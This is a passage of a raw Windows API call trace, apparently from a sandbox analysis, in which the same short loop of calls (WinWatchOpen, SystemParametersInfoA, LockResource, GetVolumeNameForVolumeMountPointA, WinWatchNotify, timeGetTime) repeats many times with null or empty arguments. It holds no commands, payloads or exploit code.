0x1144976 [0037.094] WinWatchOpen () returned 0x5fe1f8 [0037.094] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.094] LockResource (hResData=0x0) returned 0x0 [0037.094] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.094] WinWatchNotify () returned 0x0 [0037.094] timeGetTime () returned 0x1144976 [0037.094] WinWatchOpen () returned 0x5fe218 [0037.094] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.094] LockResource (hResData=0x0) returned 0x0 [0037.094] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.094] WinWatchNotify () returned 0x0 [0037.094] timeGetTime () returned 0x1144976 [0037.094] WinWatchOpen () returned 0x5fe238 [0037.094] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.094] LockResource (hResData=0x0) returned 0x0 [0037.094] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.094] WinWatchNotify () returned 0x0 [0037.094] timeGetTime () returned 0x1144976 [0037.094] WinWatchOpen () returned 0x5fe258 [0037.094] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.094] LockResource (hResData=0x0) returned 0x0 [0037.094] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.094] WinWatchNotify () returned 0x0 [0037.094] timeGetTime () returned 0x1144976 [0037.094] WinWatchOpen () returned 0x5fe278 [0037.094] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.094] LockResource (hResData=0x0) returned 0x0 [0037.094] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.094] WinWatchNotify () returned 0x0 [0037.094] timeGetTime () returned 0x1144976 [0037.094] WinWatchOpen () returned 0x5fe298 [0037.094] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.094] LockResource (hResData=0x0) returned 0x0 [0037.094] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.095] WinWatchNotify () returned 0x0 [0037.095] timeGetTime () returned 0x1144976 [0037.095] WinWatchOpen () returned 0x5fe2b8 [0037.095] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.095] LockResource (hResData=0x0) returned 0x0 [0037.095] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.095] WinWatchNotify () returned 0x0 [0037.095] timeGetTime () returned 0x1144976 [0037.095] WinWatchOpen () returned 0x5fe2d8 [0037.095] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.095] LockResource (hResData=0x0) returned 0x0 [0037.095] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.095] WinWatchNotify () returned 0x0 [0037.095] timeGetTime () returned 0x1144977 [0037.095] WinWatchOpen () returned 0x5fe2f8 [0037.095] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.095] LockResource (hResData=0x0) returned 0x0 [0037.095] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.095] WinWatchNotify () returned 0x0 [0037.095] timeGetTime () returned 0x1144977 [0037.095] WinWatchOpen () returned 0x5fe318 [0037.095] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.095] LockResource (hResData=0x0) returned 0x0 [0037.095] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.095] WinWatchNotify () returned 0x0 [0037.095] timeGetTime () returned 0x1144977 [0037.095] WinWatchOpen () returned 0x5fe338 [0037.095] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.095] LockResource (hResData=0x0) returned 0x0 [0037.095] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.095] WinWatchNotify () returned 0x0 [0037.095] timeGetTime () returned 0x1144977 [0037.095] WinWatchOpen () returned 0x5fe358 [0037.095] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.095] LockResource (hResData=0x0) returned 0x0 [0037.095] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.095] WinWatchNotify () returned 0x0 [0037.095] timeGetTime () returned 0x1144977 [0037.095] WinWatchOpen () returned 0x5fe378 [0037.095] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.095] LockResource (hResData=0x0) returned 0x0 [0037.095] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.095] WinWatchNotify () returned 0x0 [0037.096] timeGetTime () returned 0x1144977 [0037.096] WinWatchOpen () returned 0x5fe398 [0037.096] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.096] LockResource (hResData=0x0) returned 0x0 [0037.096] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.096] WinWatchNotify () returned 0x0 [0037.096] timeGetTime () returned 0x1144977 [0037.096] WinWatchOpen () returned 0x5fe3b8 [0037.096] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.096] LockResource (hResData=0x0) returned 0x0 [0037.096] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.096] WinWatchNotify () returned 0x0 [0037.096] timeGetTime () returned 0x1144978 [0037.096] WinWatchOpen () returned 0x5fe3d8 [0037.096] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.096] LockResource (hResData=0x0) returned 0x0 [0037.096] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.096] WinWatchNotify () returned 0x0 [0037.096] timeGetTime () returned 0x1144978 [0037.096] WinWatchOpen () returned 0x5fe3f8 [0037.096] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.096] LockResource (hResData=0x0) returned 0x0 [0037.096] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.096] WinWatchNotify () returned 0x0 [0037.096] timeGetTime () returned 0x1144978 [0037.096] WinWatchOpen () returned 0x5fe418 [0037.096] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.096] LockResource (hResData=0x0) returned 0x0 [0037.096] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.096] WinWatchNotify () returned 0x0 [0037.096] timeGetTime () returned 0x1144978 [0037.096] WinWatchOpen () returned 0x5fe438 [0037.096] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.096] LockResource (hResData=0x0) returned 0x0 [0037.096] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.096] WinWatchNotify () returned 0x0 [0037.096] timeGetTime () returned 0x1144978 [0037.096] WinWatchOpen () returned 0x5fe458 [0037.096] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.096] LockResource (hResData=0x0) returned 0x0 [0037.097] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.097] WinWatchNotify () returned 0x0 [0037.097] timeGetTime () returned 0x1144978 [0037.097] WinWatchOpen () returned 0x5fe478 [0037.097] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.097] LockResource (hResData=0x0) returned 0x0 [0037.097] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.097] WinWatchNotify () returned 0x0 [0037.097] timeGetTime () returned 0x1144978 [0037.097] WinWatchOpen () returned 0x5fe498 [0037.097] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.097] LockResource (hResData=0x0) returned 0x0 [0037.097] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.097] WinWatchNotify () returned 0x0 [0037.097] timeGetTime () returned 0x1144979 [0037.097] WinWatchOpen () returned 0x5fe4b8 [0037.097] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.097] LockResource (hResData=0x0) returned 0x0 [0037.097] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.097] WinWatchNotify () returned 0x0 [0037.097] timeGetTime () returned 0x1144979 [0037.097] WinWatchOpen () returned 0x5fe4d8 [0037.097] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.097] LockResource (hResData=0x0) returned 0x0 [0037.097] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.097] WinWatchNotify () returned 0x0 [0037.097] timeGetTime () returned 0x1144979 [0037.097] WinWatchOpen () returned 0x5fe4f8 [0037.097] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.097] LockResource (hResData=0x0) returned 0x0 [0037.097] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.097] WinWatchNotify () returned 0x0 [0037.097] timeGetTime () returned 0x1144979 [0037.097] WinWatchOpen () returned 0x5fe518 [0037.097] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.097] LockResource (hResData=0x0) returned 0x0 [0037.097] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.097] WinWatchNotify () returned 0x0 [0037.097] timeGetTime () returned 0x1144979 [0037.097] WinWatchOpen () returned 0x5fe538 [0037.097] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.097] LockResource (hResData=0x0) returned 0x0 [0037.097] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.097] WinWatchNotify () returned 0x0 [0037.097] timeGetTime () returned 0x1144979 [0037.098] WinWatchOpen () returned 0x5fe558 [0037.098] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.098] LockResource (hResData=0x0) returned 0x0 [0037.098] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.098] WinWatchNotify () returned 0x0 [0037.098] timeGetTime () returned 0x1144979 [0037.098] WinWatchOpen () returned 0x5fe578 [0037.098] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.098] LockResource (hResData=0x0) returned 0x0 [0037.098] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.098] WinWatchNotify () returned 0x0 [0037.098] timeGetTime () returned 0x114497a [0037.098] WinWatchOpen () returned 0x5fe598 [0037.098] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.098] LockResource (hResData=0x0) returned 0x0 [0037.098] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.098] WinWatchNotify () returned 0x0 [0037.098] timeGetTime () returned 0x114497a [0037.098] WinWatchOpen () returned 0x5fe5b8 [0037.098] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.098] LockResource (hResData=0x0) returned 0x0 [0037.098] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.098] WinWatchNotify () returned 0x0 [0037.098] timeGetTime () returned 0x114497a [0037.098] WinWatchOpen () returned 0x5fe5d8 [0037.098] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.098] LockResource (hResData=0x0) returned 0x0 [0037.098] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.098] WinWatchNotify () returned 0x0 [0037.098] timeGetTime () returned 0x114497a [0037.098] WinWatchOpen () returned 0x5fe5f8 [0037.098] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.098] LockResource (hResData=0x0) returned 0x0 [0037.098] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.098] WinWatchNotify () returned 0x0 [0037.098] timeGetTime () returned 0x114497a [0037.098] WinWatchOpen () returned 0x5fe618 [0037.098] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.098] LockResource (hResData=0x0) returned 0x0 [0037.098] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.098] WinWatchNotify () returned 0x0 [0037.098] timeGetTime () returned 0x114497a [0037.098] WinWatchOpen () returned 0x5fe638 [0037.098] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.099] LockResource (hResData=0x0) returned 0x0 [0037.099] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.099] WinWatchNotify () returned 0x0 [0037.099] timeGetTime () returned 0x114497a [0037.099] WinWatchOpen () returned 0x5fe658 [0037.099] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.099] LockResource (hResData=0x0) returned 0x0 [0037.099] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.099] WinWatchNotify () returned 0x0 [0037.099] timeGetTime () returned 0x114497b [0037.099] WinWatchOpen () returned 0x5fe678 [0037.099] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.099] LockResource (hResData=0x0) returned 0x0 [0037.099] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.099] WinWatchNotify () returned 0x0 [0037.099] timeGetTime () returned 0x114497b [0037.099] WinWatchOpen () returned 0x5fe698 [0037.099] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.099] LockResource (hResData=0x0) returned 0x0 [0037.099] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.099] WinWatchNotify () returned 0x0 [0037.099] timeGetTime () returned 0x114497b [0037.099] WinWatchOpen () returned 0x5fe6b8 [0037.099] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.099] LockResource (hResData=0x0) returned 0x0 [0037.099] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.099] WinWatchNotify () returned 0x0 [0037.099] timeGetTime () returned 0x114497b [0037.099] WinWatchOpen () returned 0x5fe6d8 [0037.099] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.099] LockResource (hResData=0x0) returned 0x0 [0037.099] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.099] WinWatchNotify () returned 0x0 [0037.099] timeGetTime () returned 0x114497b [0037.099] WinWatchOpen () returned 0x5fe6f8 [0037.099] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.099] LockResource (hResData=0x0) returned 0x0 [0037.099] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.099] WinWatchNotify () returned 0x0 [0037.099] timeGetTime () returned 0x114497b [0037.099] WinWatchOpen () returned 0x5fe718 [0037.099] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.099] LockResource (hResData=0x0) returned 0x0 [0037.100] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.100] WinWatchNotify () returned 0x0 [0037.100] timeGetTime () returned 0x114497b [0037.100] WinWatchOpen () returned 0x5fe758 [0037.100] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.100] LockResource (hResData=0x0) returned 0x0 [0037.100] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.100] WinWatchNotify () returned 0x0 [0037.100] timeGetTime () returned 0x114497c [0037.100] WinWatchOpen () returned 0x5fe778 [0037.100] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.100] LockResource (hResData=0x0) returned 0x0 [0037.100] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.100] WinWatchNotify () returned 0x0 [0037.100] timeGetTime () returned 0x114497c [0037.100] WinWatchOpen () returned 0x5fe798 [0037.100] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.100] LockResource (hResData=0x0) returned 0x0 [0037.100] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.100] WinWatchNotify () returned 0x0 [0037.100] timeGetTime () returned 0x114497c [0037.100] WinWatchOpen () returned 0x5fe7b8 [0037.100] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.100] LockResource (hResData=0x0) returned 0x0 [0037.100] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.100] WinWatchNotify () returned 0x0 [0037.100] timeGetTime () returned 0x114497c [0037.100] WinWatchOpen () returned 0x5fe7d8 [0037.100] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.100] LockResource (hResData=0x0) returned 0x0 [0037.100] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.100] WinWatchNotify () returned 0x0 [0037.100] timeGetTime () returned 0x114497c [0037.100] WinWatchOpen () returned 0x5fe7f8 [0037.100] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.100] LockResource (hResData=0x0) returned 0x0 [0037.100] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.100] WinWatchNotify () returned 0x0 [0037.100] timeGetTime () returned 0x114497c [0037.101] WinWatchOpen () returned 0x5fe818 [0037.101] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.101] LockResource (hResData=0x0) returned 0x0 [0037.101] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.101] WinWatchNotify () returned 0x0 [0037.101] timeGetTime () returned 0x114497c [0037.101] WinWatchOpen () returned 0x5fe838 [0037.101] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.101] LockResource (hResData=0x0) returned 0x0 [0037.101] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.101] WinWatchNotify () returned 0x0 [0037.101] timeGetTime () returned 0x114497d [0037.101] WinWatchOpen () returned 0x5fe858 [0037.101] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.101] LockResource (hResData=0x0) returned 0x0 [0037.101] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.101] WinWatchNotify () returned 0x0 [0037.101] timeGetTime () returned 0x114497d [0037.101] WinWatchOpen () returned 0x5fe878 [0037.101] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.101] LockResource (hResData=0x0) returned 0x0 [0037.101] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.101] WinWatchNotify () returned 0x0 [0037.101] timeGetTime () returned 0x114497d [0037.101] WinWatchOpen () returned 0x5fe898 [0037.101] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.101] LockResource (hResData=0x0) returned 0x0 [0037.101] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.101] WinWatchNotify () returned 0x0 [0037.101] timeGetTime () returned 0x114497d [0037.101] WinWatchOpen () returned 0x5fe8b8 [0037.101] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.101] LockResource (hResData=0x0) returned 0x0 [0037.101] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.101] WinWatchNotify () returned 0x0 [0037.101] timeGetTime () returned 0x114497d [0037.101] WinWatchOpen () returned 0x5fe8d8 [0037.101] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.101] LockResource (hResData=0x0) returned 0x0 [0037.101] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.101] WinWatchNotify () returned 0x0 [0037.101] timeGetTime () returned 0x114497d [0037.102] WinWatchOpen () returned 0x5fe8f8 [0037.102] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.102] LockResource (hResData=0x0) returned 0x0 [0037.102] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, 